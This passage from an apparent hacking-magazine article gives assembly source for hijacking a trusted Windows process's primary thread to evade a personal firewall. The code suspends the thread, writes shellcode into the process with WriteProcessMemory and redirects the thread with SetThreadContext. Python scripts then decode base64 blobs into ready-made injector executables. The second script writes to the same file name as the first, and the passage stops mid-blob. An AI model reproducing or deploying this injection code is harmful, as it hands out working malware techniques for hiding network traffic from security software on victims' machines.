CALL pFreeLibrary ; release ws2_32.dll
|
|
|
|
; the following code is the only real difference
|
|
; to the code in sample #1. It is used to signal
|
|
; an event with the name "TINY0" so that the
|
|
; injector executable knows when this code has
|
|
; done its job.
|
|
|
|
CMP pOpenEvent, 0
|
|
JE INJECT_DONE
|
|
|
|
PSHS sFWPEVENT ; "TINY0"
|
|
PUSH 0 ; not inheritable
|
|
PUSH EVENT_ALL_ACCESS ; whatever
|
|
CALL pOpenEvent ; open the event
|
|
CMP EAX, 0
|
|
JE INJECT_DONE
|
|
MOV EBX, EAX
|
|
|
|
PUSH EBX
|
|
CALL pSetEvent ; signal the event
|
|
|
|
PUSH EBX
|
|
CALL pCloseHandle ; close the handle
|
|
|
|
INJECT_DONE:
|
|
|
|
POP EAX
|
|
RET ; and return
|
|
|
|
inject ENDP
|
|
iend:
|
|
|
|
|
|
|
|
bypass PROC
|
|
|
|
LOCAL pinf :PROCESS_INFORMATION
|
|
LOCAL mct :CONTEXT
|
|
|
|
LOCAL dwReturn :DWORD ; return value
|
|
LOCAL dwRemoteThreadID :DWORD ; remote thread ID
|
|
LOCAL pbRemoteMemory :DWORD ; remote base address
|
|
|
|
MOV pinf.hProcess, 0
|
|
MOV pinf.hThread, 0
|
|
|
|
; First of all, creat the even that we need to get
|
|
; informed about the progress of our injected code.
|
|
|
|
INVOKE CreateEvent, 0, 1, 0, OFFSET IEV_NAME
|
|
EJUMP BPE5
|
|
MOV IEV_HANDLE, EAX
|
|
|
|
; Find a suitable, trusted process that we can use
|
|
; to hijack its primary thread. We will then pause
|
|
; that primary thread and make sure that its suspend
|
|
; count is exactly 1. It might seem a bit too careful,
|
|
; but if the primary thread is already suspended at
|
|
; the moment of infection, we have a problem. Thus,
|
|
; we will rather make sure with some more commands
|
|
; that the thread can be resumed with a single call
|
|
; to ResumeThread().
|
|
|
|
INVOKE getsvc, ADDR pinf
|
|
EJUMP BPE5
|
|
|
|
INVOKE SuspendThread, pinf.hThread
|
|
|
|
CMP EAX, 0FFFFFFFFH
|
|
JE BPE3
|
|
CMP EAX, 0
|
|
JE SPOK
|
|
SPL: INVOKE ResumeThread, pinf.hThread
|
|
CMP EAX, 1
|
|
JNE SPL
|
|
|
|
; Here we go, the thread is paused and ready to be
|
|
; hijacked. First, we get the EIP register along with
|
|
; some others that do not interest us.
|
|
|
|
SPOK: MOV mct.ContextFlags, CONTEXT_CONTROL
|
|
INVOKE GetThreadContext, pinf.hThread, ADDR mct
|
|
EJUMP BPE2
|
|
|
|
; Now, allocate memory in the remote process' address
|
|
; space for the shellcode and the injected function
|
|
|
|
INVOKE VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
|
|
MEM_COMMIT,PAGE_EXECUTE_READWRITE
|
|
EJUMP BPE2
|
|
MOV pbRemoteMemory,EAX
|
|
|
|
|
|
MOV EBX, EAX ; EBX: remote base address
|
|
|
|
ADD EAX, CODESZE ; this is the future address
|
|
MOV PUSH_ADDR, EAX ; of the inject function
|
|
|
|
MOV EAX, mct.regEip ; this is the current EIP
|
|
MOV EDX, EBX ; EDX: remote base address
|
|
ADD EDX, JUMPDIFF ; EDX: absolute address of JMP call
|
|
|
|
; Now we calculate the distance between the JMP call and
|
|
; the current EIP. The JMP CPU instruction is followed by
|
|
; a double word that contains the relative number of bytes
|
|
; to jump away from the current position. This is a signed
|
|
; long value which is basically added to the EIP register.
|
|
; To calculate the appropriate value, we need to subtract
|
|
; the position of the JMP call from the offset we want to
|
|
; jump to and subtract another 5 byte since the JMP
|
|
; instruction itself has that length.
|
|
|
|
SUB EAX, EDX
|
|
SUB EAX, 05H
|
|
MOV JUMP_ADDR, EAX
|
|
|
|
; Our shellcode is now complete, we will write it along
|
|
; with the inject function itself to the remote process.
|
|
|
|
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
|
|
OFFSET SHELLCODE,CODESZE,0
|
|
EJUMP BPE1
|
|
ADD EBX, CODESZE
|
|
|
|
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
|
|
FUNCADDR,FUNCSZE,0
|
|
EJUMP BPE1
|
|
|
|
; Done. Now hijack the primary thread by resetting its
|
|
; instruction pointer to continue the flow of execution
|
|
; at the offset of our own, injected code
|
|
|
|
MOV EDX, pbRemoteMemory
|
|
MOV mct.regEip, EDX
|
|
|
|
INVOKE SetThreadContext, pinf.hThread, ADDR mct
|
|
EJUMP BPE1
|
|
|
|
; And let the thread continue ...
|
|
|
|
INVOKE ResumeThread, pinf.hThread
|
|
CMP EAX, 0FFFFFFFFH
|
|
JE BPE1
|
|
|
|
; Now this is where we are making use of the event we
|
|
; created. We will wait until the injected code signals
|
|
; the event (at a reasonable timeout) and sleep for
|
|
; another second to make sure our code has done its
|
|
; job completely before we start with the cleanup.
|
|
|
|
INVOKE WaitForSingleObject, IEV_HANDLE, 60000
|
|
CMP EAX, 0
|
|
JE BPOK
|
|
|
|
; However, if something goes wrong it is better
|
|
; to terminate the thread as silently as possible.
|
|
|
|
INVOKE TerminateThread, pinf.hThread, 1
|
|
|
|
BPOK: INVOKE Sleep, 1000
|
|
|
|
BPE1: INVOKE VirtualFreeEx,pinf.hProcess, \
|
|
pbRemoteMemory,ALLSZE,MEM_RELEASE
|
|
|
|
BPE2: INVOKE ResumeThread, pinf.hThread
|
|
|
|
BPE3: CMP pinf.hThread, 0
|
|
JE BPE4
|
|
INVOKE CloseHandle,pinf.hThread
|
|
BPE4: CMP pinf.hProcess, 0
|
|
JE BPE5
|
|
INVOKE CloseHandle,pinf.hProcess
|
|
BPE5: INVOKE CloseHandle, IEV_HANDLE
|
|
RET
|
|
|
|
bypass ENDP
|
|
|
|
END Main
|
|
|
|
|
|
|
|
-[0x0D] :: binaries (base64) ---------------------------------------------
|
|
|
|
These are the binary version of the two sample applications for
|
|
everyone who is unable to get the Assembler I used. Actually, the
|
|
files below are python scripts that will decode the base64 -
|
|
encoded versions of the executables and create the respective
|
|
binary file in its current directory. If you do not use python,
|
|
you will have to find another way to decode them properly.
|
|
|
|
|
|
############################# injector.py #############################
|
|
|
|
from base64 import decodestring
|
|
open("injector.exe","wb").write(decodestring("""
|
|
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
|
|
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY
|
|
lzFlJpY2g4iXMWAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAOAADwELAQUMAAoAAAAG
|
|
AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABAAAAABA
|
|
AAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC
|
|
wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA
|
|
EgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto
|
|
PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I
|
|
PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E
|
|
xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA
|
|
CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq
|
|
AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2
|
|
oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91
|
|
sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW
|
|
JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv
|
|
cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2
|
|
9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y
|
|
IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ
|
|
pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH
|
|
RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA
|
|
AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD
|
|
VfyLFBADVfyJVfA70XUD/0X0WIH7kFXJmXW1i1UIgcILAAAAUv91/P9V8IP4AA+EBwIAAI
|
|
lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP
|
|
AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA
|
|
CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E
|
|
ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/
|
|
gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/
|
|
VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv
|
|
912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4
|
|
/w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG
|
|
K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5
|
|
WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuAEAAADrBbgAAAAAUI
|
|
N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo
|
|
IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y
|
|
UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA
|
|
AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA
|
|
ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA
|
|
LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE
|
|
NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv
|
|
AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2
|
|
VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds
|
|
ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3
|
|
NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd
|
|
AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh
|
|
aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")
|
|
|
|
|
|
############################### tiny.py ###############################
|
|
|
|
from base64 import decodestring
|
|
open("injector.exe","wb").write(decodestring("""
|
|
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
|
|
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T
|
|
14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAA4AAPAQsB
|
|
BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA
|
|
AAAEAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbCAA
|
|
ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC
|
|
5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA
|
|
MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA
|
|
AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF
|
|
HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+
|
|
///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP
|
|
7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o
|
|
OAsAAIP4AA+EkAAAAOvNjYW8/v//UP+1uP7//+g/CwAAuwAAAACLlcj+//87leD+//90GY
|
|
2FvP7//1D/tbj+///oIAsAAIP4AHRS69mLVQiLheD+//+JQgiLhcT+//+JQgxS/7Xg/v//
|
|
agBo/w8fAOi1CgAAg/gAdCOL2P+1xP7//2oAaP8DHwDoogoAAIP4AHQKWokaiUIEagHrAm
|
|
oAg724/v//AHQL/7W4/v//6FMKAABYycIEAFWL7IPEsOk7BQAAR2V0TW9kdWxlSGFuZGxl
|
|
QQBMb2FkTGlicmFyeUEARnJlZUxpYnJhcnkAT3BlbkV2ZW50QQBDbG9zZUhhbmRsZQBTZX
|
|
RFdmVudABUSU5ZMABVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJvcgBXU0FH
|
|
ZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc29ja2V0AG
|
|
Nvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9yIFNldFVw
|
|
IGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQpIb3N0Oi
|
|
B3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzHRfAAAAAA
|
|
x0X0AAAAAMdFxAAAAADHRcwAAAAAx0XgAAAAAANAPItAeANF/IlF+ItAIANF/IsIA038uA
|
|
AAAADrAUC7AAAAAIvTweMFweobC9q6AAAAAIoRA9pBihGD+gB15VArRfRrwARBi1X4i1Ic
|
|
A1X8ixQQA1X8iVXwO9F1A/9F9FiB+5BVyZl1tYtVCIHCCwAAAFL/dfz/VfCD+AAPhFgCAA
|
|
CJReyLVQiBwhwAAABS/3X8/1Xwg/gAD4Q8AgAAiUXoi1UIgcIpAAAAUv91/P9V8IP4AA+E
|
|
IAIAAIlF5ItVCIHCNQAAAFL/dfz/VfCD+AAPhAQCAACJReCLVQiBwkAAAABS/3X8/1Xwg/
|
|
gAD4ToAQAAiUXci1UIgcJMAAAAUv91/P9V8IP4AA+EzAEAAIlF2ItVCIHCWwAAAFL/VeyD
|
|
+AAPhLMBAACJRdCLVQiBwo8AAABS/1Xog/gAD4SaAQAAiUXMi1UIgcJmAAAAUv910P9V8I
|
|
P4AA+EfgEAAIlF1ItVCIHCmgAAAFL/dcz/VfCD+AAPhGIBAACJRciLVQiBwqUAAABS/3XM
|
|
/1Xwg/gAD4RGAQAAiUXEi1UIgcKwAAAAUv91zP9V8IP4AA+EKgEAAIlFwItVCIHCtwAAAF
|
|
